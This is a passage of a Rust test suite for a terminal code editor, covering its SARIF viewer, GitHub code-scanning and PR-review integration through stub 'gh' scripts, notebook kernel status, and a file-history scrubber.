        view.entries
            .iter()
            .any(|e| e.message == "From the second log.")
    );
    // Adding the same log again does nothing.
    app.submit_sarif_add_log(&second.display().to_string());
    assert_eq!(app.editor.sarif.as_ref().unwrap().logs.len(), 2);
    // Logs tab: select the second log's group and close it.
    app.handle_sarif_key(key(KeyCode::Tab, KeyModifiers::NONE));
    app.handle_sarif_key(key(KeyCode::Tab, KeyModifiers::NONE));
    let view = app.editor.sarif.as_mut().unwrap();
    assert_eq!(view.tab, crate::sarif::view::Tab::Logs);
    let rows = view.rows();
    let second_header = rows
        .iter()
        .position(|r| matches!(r, crate::sarif::view::Row::Group { label, .. } if label == "second.sarif"))
        .unwrap();
    view.selected = second_header;
    app.handle_sarif_key(key(KeyCode::Delete, KeyModifiers::NONE));
    let view = app.editor.sarif.as_ref().unwrap();
    assert_eq!(view.logs.len(), 1);
    assert!(
        view.entries
            .iter()
            .all(|e| e.message != "From the second log.")
    );
    // The last log is not closed this way: that is closing the tab.
    app.handle_sarif_key(key(KeyCode::Delete, KeyModifiers::NONE));
    assert_eq!(
        app.editor.sarif.as_ref().unwrap().logs.len(),
        1,
        "{}",
        app.status
    );
}

#[test]
fn the_run_tab_shows_the_tool_its_invocation_and_notifications() {
    // #577, beyond VS Code: run.tool, invocations and notifications.
    let tmp = tempfile::tempdir().unwrap();
    let log = tmp.path().join("run.sarif");
    std::fs::write(
        &log,
        r#"{"version":"2.1.0","runs":[{
          "tool":{"driver":{"name":"CodeQL","semanticVersion":"2.19.3","informationUri":"https://codeql.github.com"}},
          "invocations":[{"commandLine":"codeql database analyze db --format=sarif-latest","executionSuccessful":true,"exitCode":0,
            "startTimeUtc":"2026-09-24T10:00:00Z","endTimeUtc":"2026-09-24T10:03:12Z",
            "toolExecutionNotifications":[{"level":"warning","message":{"text":"Skipped vendor/huge.js: too large"}}]}],
          "results":[]}]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    for _ in 0..3 {
        app.handle_sarif_key(key(KeyCode::Tab, KeyModifiers::NONE));
    }
    assert_eq!(
        app.editor.sarif.as_ref().unwrap().tab,
        crate::sarif::view::Tab::Run
    );
    let screen = draw_screen(&mut app);
    for want in [
        "CodeQL 2.19.3",
        "https://codeql.github.com",
        "codeql database analyze db --format=sarif-latest",
        "exit 0",
        "Skipped vendor/huge.js: too large",
    ] {
        assert!(screen.contains(want), "{want:?} on the Run tab:\n{screen}");
    }
    // Back round to Locations.
    app.handle_sarif_key(key(KeyCode::Tab, KeyModifiers::NONE));
    assert_eq!(
        app.editor.sarif.as_ref().unwrap().tab,
        crate::sarif::view::Tab::Locations
    );
}

#[test]
fn a_baseline_log_marks_results_new_or_unchanged_and_lists_what_disappeared() {
    // #577: logs without baselineState are compared against a chosen baseline.
    let tmp = tempfile::tempdir().unwrap();
    let result = |rule: &str, file: &str, line: i64| {
        format!(
            r#"{{"ruleId":"{rule}","message":{{"text":"{rule} here"}},"locations":[{{"physicalLocation":{{"artifactLocation":{{"uri":"{file}"}},"region":{{"startLine":{line}}}}}}}]}}"#
        )
    };
    let write_log = |name: &str, results: Vec<String>| {
        let p = tmp.path().join(name);
        std::fs::write(
            &p,
            format!(
                r#"{{"version":"2.1.0","runs":[{{"tool":{{"driver":{{"name":"T"}}}},"results":[{}]}}]}}"#,
                results.join(",")
            ),
        )
        .unwrap();
        p
    };
    for f in ["a.js", "c.js", "d.js"] {
        std::fs::write(tmp.path().join(f), "one\ntwo\nthree\n").unwrap();
    }
    let now = write_log(
        "now.sarif",
        vec![result("kept", "a.js", 3), result("fresh", "d.js", 2)],
    );
    let before = write_log(
        "before.sarif",
        vec![result("kept", "a.js", 3), result("gone", "c.js", 1)],
    );
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&now).unwrap();
    app.handle_sarif_key(key(KeyCode::Char('b'), KeyModifiers::NONE));
    assert!(
        matches!(
            app.input_prompt.as_ref().map(|p| &p.purpose),
            Some(crate::widgets::input_prompt::InputPurpose::SarifBaseline)
        ),
        "b asks for a baseline"
    );
    app.submit_sarif_baseline(&before.display().to_string());
    let view = app.editor.sarif.as_ref().unwrap();
    assert_eq!(view.baseline, Some(1));
    let state = |rule: &str| {
        view.entries
            .iter()
            .find(|e| e.rule_id == rule)
            .map(|e| e.baseline)
    };
    use crate::sarif::semantics::BaselineState;
    assert_eq!(state("kept"), Some(BaselineState::Unchanged));
    assert_eq!(state("fresh"), Some(BaselineState::New));
    assert_eq!(state("gone"), Some(BaselineState::Absent));
    // The baseline contributes only what disappeared, never a second "kept".
    assert_eq!(view.entries.len(), 3);
    // What disappeared is not a problem in today's code.
    app.sync_sarif_diagnostics();
    let c = tmp.path().join("c.js");
    assert!(
        app.lsp_diagnostics
            .get(&c)
            .is_none_or(|m| m.values().all(Vec::is_empty)),
        "absent results publish no diagnostics"
    );
    assert!(
        app.lsp_diagnostics
            .get(&tmp.path().join("d.js"))
            .is_some_and(|m| m.values().any(|v| !v.is_empty()))
    );
}

#[test]
fn e_exports_the_visible_sarif_results_to_a_csv_file() {
    // #577: the filtered list leaves the editor as a spreadsheet.
    let (tmp, log) = sarif_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.handle_sarif_key(key(KeyCode::Char('E'), KeyModifiers::SHIFT));
    let prompt = app.input_prompt.as_ref().expect("E asks where to write");
    assert!(matches!(
        prompt.purpose,
        crate::widgets::input_prompt::InputPurpose::SarifExport
    ));
    assert_eq!(
        prompt.value, "sarif-results.csv",
        "a default name is offered"
    );
    app.submit_sarif_export("out/results.csv");
    let written = std::fs::read_to_string(tmp.path().join("out/results.csv"))
        .expect("written relative to the workspace, creating the folder");
    assert!(
        written.starts_with("rule,level,file,line,column,message"),
        "{written}"
    );
    assert_eq!(
        written.lines().count(),
        2,
        "one result plus the header: {written}"
    );
    assert!(app.status.contains("1 result"), "{}", app.status);
}

#[test]
fn the_sarif_key_legend_names_the_fix_log_baseline_and_export_keys() {
    // #577: every viewer key is discoverable from its footer at a common width.
    let (tmp, log) = sarif_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    let screen = draw_screen(&mut app);
    for want in ["f fix", "o add log", "b baseline", "E export"] {
        assert!(screen.contains(want), "{want} missing:\n{screen}");
    }
}

/// A stand-in `gh` answering from canned files: each rule maps a substring
/// of the arguments to the file whose contents it prints.
#[cfg(unix)]
fn fake_gh(dir: &std::path::Path, rules: &[(&str, &str)]) -> std::path::PathBuf {
    use std::os::unix::fs::PermissionsExt;
    let mut script = String::from(
        "#!/bin/sh\necho \"$*\" >> \"$(dirname \"$0\")/gh-calls.log\"\ncase \"$*\" in\n",
    );
    for (i, (pattern, body)) in rules.iter().enumerate() {
        let file = dir.join(format!("gh-reply-{i}"));
        std::fs::write(&file, body).unwrap();
        script.push_str(&format!("  *'{pattern}'*) cat '{}' ;;\n", file.display()));
    }
    script.push_str("  *) echo '{\"message\":\"unexpected call\"}' >&2; exit 1 ;;\nesac\n");
    let gh = dir.join("gh");
    std::fs::write(&gh, script).unwrap();
    std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
    gh
}

#[cfg(unix)]
#[test]
fn a_code_scanning_analysis_opens_from_github_in_the_sarif_viewer() {
    // #577: VS Code's SARIF viewer pulls a repository's code scanning
    // analyses; croft lists them and opens the chosen one as a log.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let gh = fake_gh(
            bin.path(),
            &[
                (
                    "analyses?per_page=30",
                    r#"[{"id":201,"ref":"refs/heads/main","commit_sha":"abc","error":"","category":"",
                        "created_at":"2026-09-20T10:00:00Z","results_count":1,"tool":{"name":"CodeQL","version":"2.19.3"}}]"#,
                ),
                (
                    "analyses/201",
                    r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"CodeQL"}},
                        "results":[{"ruleId":"rust/sql-injection","message":{"text":"From GitHub."}}]}]}"#,
                ),
            ],
        );
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.gh_program = gh;
        app.run_command(crate::widgets::command_palette::Command::SarifOpenCodeScanning);
        let picker = app.list_picker.as_ref().expect("the analyses are offered");
        assert_eq!(
            picker.purpose,
            crate::widgets::list_picker::ListPurpose::CodeScanningAnalysis
        );
        assert_eq!(picker.rows.len(), 1);
        assert_eq!(picker.rows[0].id, "201");
        assert!(
            picker.rows[0].label.contains("CodeQL 2.19.3"),
            "{}",
            picker.rows[0].label
        );
        app.confirm_list_picker();
        let view = app
            .editor
            .sarif
            .as_ref()
            .expect("the analysis opens in the viewer");
        assert!(view.entries.iter().any(|e| e.message == "From GitHub."));
        let calls = std::fs::read_to_string(bin.path().join("gh-calls.log")).unwrap();
        assert!(calls.contains("Accept: application/sarif+json"), "{calls}");
    });
}

#[cfg(unix)]
#[test]
fn code_scanning_reports_githubs_own_error() {
    let tmp = tempfile::tempdir().unwrap();
    let bin = tempfile::tempdir().unwrap();
    let gh = fake_gh(bin.path(), &[]);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.gh_program = gh;
    app.run_command(crate::widgets::command_palette::Command::SarifOpenCodeScanning);
    assert!(app.list_picker.is_none());
    assert!(app.status.contains("unexpected call"), "{}", app.status);
}

#[cfg(unix)]
#[test]
fn x_dismisses_the_selected_results_code_scanning_alert_with_a_reason() {
    // #577: VS Code's SARIF viewer dismisses GitHub alerts from the list.
    // This result carries no alert number, so it is matched to the alerts
    // list by rule, path and line.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join("src")).unwrap();
    std::fs::write(tmp.path().join("src/db.rs"), "a\nb\nc\n").unwrap();
    let log = tmp.path().join("scan.sarif");
    std::fs::write(
        &log,
        r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"CodeQL"}},"results":[
            {"ruleId":"rust/sql-injection","message":{"text":"Tainted."},
             "locations":[{"physicalLocation":{"artifactLocation":{"uri":"src/db.rs"},"region":{"startLine":2}}}]}]}]}"#,
    )
    .unwrap();
    let bin = tempfile::tempdir().unwrap();
    let gh = fake_gh(
        bin.path(),
        &[
            (
                "code-scanning/alerts?per_page=100",
                r#"[{"number":8,"state":"open","rule":{"id":"rust/sql-injection"},
                     "most_recent_instance":{"location":{"path":"src/db.rs","start_line":2}}}]"#,
            ),
            ("PATCH", r#"{"number":8,"state":"dismissed"}"#),
        ],
    );
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.gh_program = gh;
    app.editor.open(&log).unwrap();
    app.editor.sarif.as_mut().unwrap().selected = 1;
    app.handle_sarif_key(key(KeyCode::Char('X'), KeyModifiers::SHIFT));
    let picker = app.list_picker.as_ref().expect("X asks why");
    assert_eq!(
        picker.purpose,
        crate::widgets::list_picker::ListPurpose::DismissAlert
    );
    let labels: Vec<&str> = picker.rows.iter().map(|r| r.label.as_str()).collect();
    assert_eq!(labels, ["False positive", "Won't fix", "Used in tests"]);
    // Pick "Won't fix", then give a comment.
    app.list_picker.as_mut().unwrap().selected = 1;
    app.confirm_list_picker();
    assert!(matches!(
        app.input_prompt.as_ref().map(|p| &p.purpose),
        Some(
            crate::widgets::input_prompt::InputPurpose::DismissAlertComment {
                number: 8,
                reason: 1
            }
        )
    ));
    app.dismiss_code_scanning_alert(8, 1, "tracked elsewhere");
    let calls = std::fs::read_to_string(bin.path().join("gh-calls.log")).unwrap();
    assert!(
        calls.contains("PATCH repos/{owner}/{repo}/code-scanning/alerts/8 -f state=dismissed -f dismissed_reason=won't fix -f dismissed_comment=tracked elsewhere"),
        "{calls}"
    );
    assert!(app.status.contains("#8"), "{}", app.status);
    let view = app.editor.sarif.as_ref().unwrap();
    assert_eq!(
        view.entries[0].suppression,
        crate::sarif::semantics::SuppressionState::Suppressed,
        "the dismissed result leaves the default list"
    );
}

#[test]
fn the_info_tab_lists_the_results_taxa() {
    // #577: CWE / OWASP entries a result names, resolved through taxonomies.
    let tmp = tempfile::tempdir().unwrap();
    let log = tmp.path().join("t.sarif");
    std::fs::write(
        &log,
        r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"T"}},
            "taxonomies":[{"name":"CWE","taxa":[{"id":"CWE-89","name":"SqlInjection"}]}],
            "results":[{"ruleId":"R1","message":{"text":"m"},
              "taxa":[{"id":"CWE-89","toolComponent":{"name":"CWE"}}]}]}]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.editor.sarif.as_mut().unwrap().selected = 1;
    let screen = draw_screen(&mut app);
    assert!(screen.contains("CWE CWE-89: SqlInjection"), "{screen}");
}

#[cfg(unix)]
#[test]
fn code_scanning_offers_the_current_branchs_analyses_and_falls_back_to_all() {
    // #577: like VS Code's viewer, the analyses of the branch being worked
    // on come first; a branch with none shows the repository's.
    let tmp = tempfile::tempdir().unwrap();
    let bin = tempfile::tempdir().unwrap();
    let one = |id: u64, git_ref: &str| {
        format!(
            r#"[{{"id":{id},"ref":"{git_ref}","commit_sha":"c","error":"","category":"","created_at":"2026-09-20T10:00:00Z","results_count":0,"tool":{{"name":"CodeQL"}}}}]"#
        )
    };
    let on_branch = one(301, "refs/heads/feat/x");
    let everything = one(300, "refs/heads/main");
    let gh = fake_gh(
        bin.path(),
        &[
            ("ref=refs%2Fheads%2Ffeat%2Fx", &on_branch),
            ("ref=refs%2Fheads%2Fempty", "[]"),
            ("analyses?per_page=30", &everything),
        ],
    );
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.gh_program = gh;
    app.source_control.status.branch = Some(String::from("feat/x"));
    app.run_command(crate::widgets::command_palette::Command::SarifOpenCodeScanning);
    let picker = app.list_picker.take().expect("offered");
    assert_eq!(
        picker
            .rows
            .iter()
            .map(|r| r.id.as_str())
            .collect::<Vec<_>>(),
        ["301"]
    );
    assert!(picker.title.contains("feat/x"), "{}", picker.title);
    app.source_control.status.branch = Some(String::from("empty"));
    app.run_command(crate::widgets::command_palette::Command::SarifOpenCodeScanning);
    let picker = app.list_picker.take().expect("offered");
    assert_eq!(
        picker
            .rows
            .iter()
            .map(|r| r.id.as_str())
            .collect::<Vec<_>>(),
        ["300"]
    );
}

fn status_row(term: &ratatui::Terminal<ratatui::backend::TestBackend>) -> String {
    let buf = term.backend().buffer();
    let y = buf.area.height - 1;
    (0..buf.area.width).map(|x| buf[(x, y)].symbol()).collect()
}

/// #355: the notebook in the editor names its kernel in the status bar
/// once the kernel is up, and says when a cell is running.
#[test]
fn the_status_bar_names_the_notebooks_kernel_and_when_it_is_busy() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("t.ipynb");
    std::fs::write(&path, NOTEBOOK_355).unwrap();
    std::fs::write(tmp.path().join("other.py"), "x = 1\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (run, kernel, _requests) = crate::notebook_kernel::NotebookRun::for_test();
    app.notebook_kernels.insert(path.clone(), run);
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(140, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        !status_row(&term).contains("kernel:"),
        "no name before the kernel says it is up"
    );

    kernel
        .send(crate::notebook_kernel::Event::Ready {
            kernel: "python3".into(),
            display: "Python 3 (ipykernel)".into(),
        })
        .unwrap();
    app.poll_notebook_kernels();
    term.draw(|f| app.render(f)).unwrap();
    let row = status_row(&term);
    assert!(row.contains("kernel: Python 3 (ipykernel)"), "{row}");
    assert!(!row.contains("busy"), "{row}");

    click_first_cell_glyph(&mut app, &mut term);
    term.draw(|f| app.render(f)).unwrap();
    assert!(status_row(&term).contains("kernel: Python 3 (ipykernel) · busy"));

    // Another file in the editor has no kernel to name.
    app.editor.open(&tmp.path().join("other.py")).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert!(!status_row(&term).contains("kernel:"));
}

/// #356: a terminal recording has its own status-bar badge with the time
/// it has run, apart from the macro recorder's REC.
#[test]
fn a_terminal_recording_shows_its_own_badge_until_it_stops() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(140, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert!(!status_row(&term).contains("CAST"));
    app.toggle_session_recording();
    assert!(app.recording.is_some(), "{}", app.status);
    // The start message names the file; the badge must stand on its own.
    app.status.clear();
    term.draw(|f| app.render(f)).unwrap();
    let row = status_row(&term);
    assert!(row.contains("● CAST 0:00"), "{row}");
    assert!(!row.contains("REC "), "not the macro badge: {row}");
    app.toggle_session_recording();
    term.draw(|f| app.render(f)).unwrap();
    assert!(!status_row(&term).contains("CAST"));
}

/// #371: at a scrubbed commit, Enter opens that version of the file as a
/// tab of its own, and "Diff Scrubbed File to Working Tree" diffs it
/// against the file on disk. Both leave the scrubber and the live buffer
/// (dirty or not) untouched. At the working tree, Enter is ordinary typing.
#[test]
fn the_scrubber_opens_a_commits_version_here_or_diffs_it_to_the_working_tree() {
    let repo = scrub_repo();
    let file = repo.path().join("a.txt");
    // Uncommitted work on disk, and more unsaved in the buffer.
    std::fs::write(&file, "v1\nv2\nv3\nv4\n").unwrap();
    let mut app = App::new(repo.path().to_path_buf()).unwrap();
    app.editor.open(&file).unwrap();
    app.editor.lines.push(String::from("unsaved"));
    app.editor.dirty = true;
    app.scrub_history();
    assert!(
        !app.handle_scrubber_key(KeyCode::Enter),
        "at the working tree there is nothing to open"
    );
    assert!(app.handle_scrubber_key(KeyCode::Left), "to HEAD");
    assert!(app.handle_scrubber_key(KeyCode::Left), "to v2");
    let short = app
        .scrubber
        .as_ref()
        .unwrap()
        .commit()
        .unwrap()
        .short_hash
        .clone();

    assert!(app.handle_scrubber_key(KeyCode::Enter));
    assert!(app.scrubber.is_none() && app.scrub_view.is_none());
    assert_eq!(
        app.editor.path.as_deref(),
        Some(Path::new(&format!("a.txt @ {short}")))
    );
    assert_eq!(app.editor.lines, vec!["v1", "v2"]);
    let live = app.editor.find_tab_with_path(&file).expect("the live tab");
    app.editor.select(live);
    assert!(app.editor.dirty, "the live buffer keeps its unsaved edit");
    assert_eq!(app.editor.lines.last().map(String::as_str), Some("unsaved"));

    app.scrub_history();
    assert!(app.handle_scrubber_key(KeyCode::Left));
    assert!(app.handle_scrubber_key(KeyCode::Left));
    app.run_command(crate::widgets::command_palette::Command::ScrubDiffToWorkingTree);
    assert!(app.scrubber.is_none());
    let diff = app.editor.diff.as_ref().expect("a diff tab");
    assert_eq!(diff.left_lines, vec!["v1", "v2"]);
    assert_eq!(
        diff.right_lines,
        vec!["v1", "v2", "v3", "v4"],
        "the file on disk"
    );

    // With no scrubbed commit, the commands say so rather than guess.
    app.run_command(crate::widgets::command_palette::Command::ScrubOpenHere);
    assert!(app.status.contains("Step the scrubber"), "{}", app.status);
}

/// #345: a lane row counts the lines added and removed since the content
/// the user reviewed, follows later writes, and shows nothing for a row
/// with no review to count against.
#[test]
fn a_lane_row_counts_lines_added_and_removed_since_the_review() {
    use crate::widgets::agent_lane::LaneRow;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("f.rs");
    let g = tmp.path().join("g.rs");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    let working = vec![String::from("claude")];
    let write = |app: &mut App, path: &Path, text: &str| {
        std::fs::write(path, text).unwrap();
        app.agent_ledger.record_write(
            path,
            crate::agent_lane::content_hash(text.as_bytes()),
            &working,
        );
    };
    let changes_of = |app: &mut App, path: &Path| {
        app.agent_lane_panel_rows()
            .into_iter()
            .find_map(|r| match r {
                LaneRow::File {
                    path: p, changes, ..
                } if p == path => Some(changes),
                _ => None,
            })
            .expect("the file has a row")
    };

    write(&mut app, &f, "a\nb\nc\n");
    write(&mut app, &g, "new\n");
    assert_eq!(
        changes_of(&mut app, &g),
        None,
        "never reviewed: no baseline"
    );
    assert!(app.mark_agent_file_reviewed("claude", &f));
    assert_eq!(changes_of(&mut app, &f), Some((0, 0)));

    // Replace one line and add two.
    write(&mut app, &f, "a\nB\nc\nd\ne\n");
    assert_eq!(changes_of(&mut app, &f), Some((3, 1)));
    // A later write is counted afresh, not served from the cache.
    write(&mut app, &f, "a\n");
    assert_eq!(changes_of(&mut app, &f), Some((0, 2)));

    // Painted beside the label.
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 40)).unwrap();
    app.show_agent_lane_section();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let screen: String = (0..buf.area.height)
        .map(|y| {
            (0..buf.area.width)
                .map(|x| buf[(x, y)].symbol())
                .collect::<String>()
                + "\n"
        })
        .collect();
    assert!(screen.contains("f.rs  +0 −2"), "{screen}");
}

/// Starting the tour while it runs keeps the first one: a second start
/// would record the first tour's scratch project as the way home, and the
/// user's own workspace would be lost when it ended.
#[test]
fn starting_the_tour_again_while_it_runs_keeps_the_way_home() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.start_demo();
        let scratch = app.workspace_root().to_path_buf();
        app.run_command(crate::widgets::command_palette::Command::TakeTheTour);
        assert!(app.status.contains("already running"), "{}", app.status);
        assert_eq!(app.workspace_root(), scratch);
        app.finish_tour();
        assert_eq!(
            app.workspace_root(),
            tmp.path(),
            "back in the user's workspace"
        );
        assert!(!scratch.exists());
    });
}

/// #371: switching to another file while scrubbing shows that file at the
/// scrubbed commit, not the previous file's history over it.
#[test]
fn switching_files_while_scrubbing_shows_the_new_files_history() {
    let repo = scrub_repo();
    std::fs::write(repo.path().join("new.txt"), "fresh\n").unwrap();
    let mut app = App::new(repo.path().to_path_buf()).unwrap();
    app.editor.open(&repo.path().join("a.txt")).unwrap();
    app.scrub_history();
    assert!(app.handle_scrubber_key(KeyCode::Left), "to HEAD");
    assert_eq!(
        app.scrub_view.as_ref().unwrap().lines,
        vec!["v1", "v2", "v3"]
    );
    app.editor.open(&repo.path().join("new.txt")).unwrap();
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let view = app.scrub_view.as_ref().expect("still scrubbing");
    assert!(
        view.lines[0].contains("new.txt did not exist"),
        "{:?}",
        view.lines
    );
}

/// #365: the review tab's `gh` calls run off the UI thread, and a pasted
/// URL from another repository opens that repository's pull request.
#[test]
fn a_pr_review_loads_off_the_ui_thread_and_a_url_keeps_its_repository() {
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let log = tmp.path().join("gh-args");
        let gh = tmp.path().join("gh");
        std::fs::write(
            &gh,
            format!(
                r#"#!/bin/sh
echo "$@" >> '{}'
sleep 0.3
case "$2" in
  view) echo '{{"number": 42, "title": "t", "url": "https://github.com/x/y/pull/42", "author": {{"login": "a"}}, "files": [{{"path": "a.rs", "additions": 1, "deletions": 0, "changeType": "ADDED"}}], "statusCheckRollup": []}}' ;;
  diff) printf 'diff --git a/a.rs b/a.rs\nnew file mode 100644\n--- /dev/null\n+++ b/a.rs\n@@ -0,0 +1 @@\n+fn a() {{}}\n' ;;
esac
"#,
                log.display()
            ),
        )
        .unwrap();
        std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.review_gh = gh.display().to_string();

        let started = std::time::Instant::now();
        app.submit_pr_number("https://github.com/x/y/pull/42/files");
        assert!(
            started.elapsed() < std::time::Duration::from_millis(250),
            "the prompt returns before gh does"
        );
        assert!(app.status.contains("Loading PR"), "{}", app.status);
        crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "gh pr view", || {
            app.poll_pr_gh();
            app.editor.pr_review.is_some()
        });
        assert_eq!(app.editor.pr_review.as_ref().unwrap().pr.number, 42);

        app.handle_pr_review_key(key(KeyCode::Enter, KeyModifiers::NONE));
        assert!(app.status.contains("Fetching the diff"), "{}", app.status);
        crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "gh pr diff", || {
            app.poll_pr_gh();
            app.editor.diff.is_some()
        });
        let args = std::fs::read_to_string(&log).unwrap();
        // The viewed-state read (`gh api graphql`) runs beside these.
        let lines: Vec<&str> = args.lines().filter(|l| l.starts_with("pr ")).collect();
        assert!(
            lines[0].starts_with("pr view https://github.com/x/y/pull/42 --json"),
            "the URL, not a bare 42 this repository would resolve: {args}"
        );
        assert_eq!(lines[1], "pr diff https://github.com/x/y/pull/42");
    });
}

/// A stub `gh` for the viewed-sync tests (#365): it logs its argv to
/// `gh-args`, answers `pr view` with PR x/y#42 (a.rs, b.rs, c.rs), and
/// runs `graphql` for everything else.
fn viewed_sync_gh(
    dir: &std::path::Path,
    graphql: &str,
) -> (std::path::PathBuf, std::path::PathBuf) {
    use std::os::unix::fs::PermissionsExt;
    let log = dir.join("gh-args");
    let gh = dir.join("gh");
    std::fs::write(
        &gh,
        format!(
            r#"#!/bin/sh
echo "$@" >> '{}'
case "$*" in
  "pr view"*) echo '{{"number": 42, "title": "t", "url": "https://github.com/x/y/pull/42", "author": {{"login": "a"}}, "files": [{{"path": "a.rs", "additions": 1, "deletions": 0, "changeType": "ADDED"}}, {{"path": "b.rs", "additions": 1, "deletions": 0, "changeType": "ADDED"}}, {{"path": "c.rs", "additions": 1, "deletions": 0, "changeType": "ADDED"}}], "statusCheckRollup": []}}' ;;
{graphql}
esac
"#,
            log.display()
        ),
    )
    .unwrap();
    std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
    (gh, log)
}

/// Load x/y#42 through `gh` and wait for its viewed-state read to settle.
fn open_synced_pr(app: &mut App) {
    app.submit_pr_number("42");
    crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "gh pr view", || {
        app.poll_pr_gh();
        app.editor.pr_review.is_some() && app.pr_viewed_fetch.is_none()
    });
}

/// Wait until every queued viewed mutation has run.
fn settle_viewed_writes(app: &mut App) {
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(5),
        "the viewed mutations",
        || {
            app.poll_pr_gh();
            app.pr_viewed_queue.is_empty() && app.pr_viewed_write.is_none()
        },
    );
}

/// #365: GitHub's viewed state (paged) is the truth when it loads: VIEWED
/// ticks, DISMISSED (changed since viewed) and UNVIEWED untick even a
/// local mark, and the local store follows. Toggling sends the matching
/// mutation; a failed one keeps the local mark and says so once.
#[test]
fn pr_viewed_state_syncs_with_github() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let page = |nodes: &str, next: &str| {
            format!(
                r#"echo '{{"data":{{"repository":{{"pullRequest":{{"id":"PR_kw42","files":{{"nodes":[{nodes}],"pageInfo":{next}}}}}}}}}}}'"#
            )
        };
        let graphql = format!(
            "  *unmarkFileAsViewed*) echo '{{}}' ;;\n  *markFileAsViewed*) echo 'Resource not accessible' >&2; exit 1 ;;\n  *after=CUR1*) {} ;;\n  *graphql*) {} ;;",
            page(
                r#"{"path":"c.rs","viewerViewedState":"UNVIEWED"}"#,
                r#"{"hasNextPage":false,"endCursor":"CUR2"}"#
            ),
            page(
                r#"{"path":"a.rs","viewerViewedState":"VIEWED"},{"path":"b.rs","viewerViewedState":"DISMISSED"}"#,
                r#"{"hasNextPage":true,"endCursor":"CUR1"}"#
            ),
        );
        let (gh, log) = viewed_sync_gh(tmp.path(), &graphql);
        // Marked locally before; GitHub says otherwise for both.
        let store_path = App::pr_viewed_path();
        let mut store = crate::pr_review::ViewedStore::default();
        store.set("x/y#42", "b.rs", true);
        store.set("x/y#42", "c.rs", true);
        store.save(&store_path).unwrap();

        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.review_gh = gh.display().to_string();
        open_synced_pr(&mut app);
        let view = app.editor.pr_review.as_ref().unwrap();
        assert_eq!(view.github_id.as_deref(), Some("PR_kw42"));
        assert_eq!(
            view.viewed.iter().map(String::as_str).collect::<Vec<_>>(),
            vec!["a.rs"],
            "both pages applied, GitHub wins"
        );
        assert!(pr_screen(&mut app).contains("1 of 3 viewed"));
        let stored = crate::pr_review::ViewedStore::load(&store_path).viewed("x/y#42");
        assert_eq!(
            stored.iter().map(String::as_str).collect::<Vec<_>>(),
            vec!["a.rs"],
            "the local store follows GitHub"
        );

        // a.rs is selected and viewed: Space unticks it at once and sends
        // unmarkFileAsViewed, which succeeds.
        app.status.clear();
        app.handle_pr_review_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
        assert!(
            !app.editor
                .pr_review
                .as_ref()
                .unwrap()
                .viewed
                .contains("a.rs")
        );
        settle_viewed_writes(&mut app);
        assert!(app.status.is_empty(), "{}", app.status);
        let args = std::fs::read_to_string(&log).unwrap();
        let unmark = args.lines().last().unwrap();
        assert!(
            unmark.starts_with("api graphql -f query=mutation(")
                && unmark.contains("unmarkFileAsViewed(input: {pullRequestId: $id, path: $path})")
                && unmark.ends_with("-f id=PR_kw42 -f path=a.rs"),
            "{unmark}"
        );

